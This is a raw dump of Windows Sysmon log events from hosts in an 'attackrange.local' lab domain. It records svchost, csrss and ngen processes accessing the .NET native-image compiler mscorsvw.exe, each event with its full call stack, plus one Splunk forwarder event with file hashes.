14:45:26.664{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F86-613B-9F0A-00000000F001}6784C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.649{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F86-613B-9F0A-00000000F001}6784C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.649{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F86-613B-9F0A-00000000F001}6784C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.602{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F86-613B-9E0A-00000000F001}5312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.586{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F86-613B-9E0A-00000000F001}5312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.586{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F86-613B-9E0A-00000000F001}5312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.555{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F86-613B-9D0A-00000000F001}4760C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014009Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:26.123{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B8F20631847B23B58902FB15DBC151C2,SHA256=53278D912B9CD2242EDC1003D42F1CB56EF7B3C18B76A2DC967AEC0A8DD220CC,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.539{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F86-613B-9D0A-00000000F001}4760C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.539{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F86-613B-9D0A-00000000F001}4760C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.508{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F86-613B-9C0A-00000000F001}5320C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.492{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F86-613B-9C0A-00000000F001}5320C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.492{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F86-613B-9C0A-00000000F001}5320C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.430{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F86-613B-9B0A-00000000F001}1224C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.430{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F86-613B-9B0A-00000000F001}1224C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.430{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F86-613B-9B0A-00000000F001}1224C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.368{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F86-613B-9A0A-00000000F001}4512C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.338{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F86-613B-9A0A-00000000F001}4512C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.338{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F86-613B-9A0A-00000000F001}4512C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.274{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F86-613B-990A-00000000F001}2204C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.258{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F86-613B-990A-00000000F001}2204C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.258{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F86-613B-990A-00000000F001}2204C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.227{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F86-613B-980A-00000000F001}5944C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.211{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F86-613B-980A-00000000F001}5944C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 